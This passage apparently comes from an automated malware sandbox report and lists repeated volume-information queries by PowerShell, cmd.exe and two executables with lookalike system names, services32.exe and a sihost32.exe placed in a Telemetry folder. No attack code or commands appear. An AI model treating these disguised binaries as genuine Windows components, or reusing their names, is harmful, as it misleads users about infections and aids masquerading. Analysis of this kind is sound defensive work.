Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\services32.exe Queries volume information: C:\Windows\System32\services32.exe VolumeInformation
Source: C:\Windows\System32\services32.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\services32.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\services32.exe Queries volume information: C:\Windows\System32\services32.exe VolumeInformation
Source: C:\Windows\System32\services32.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\services32.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Queries volume information: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
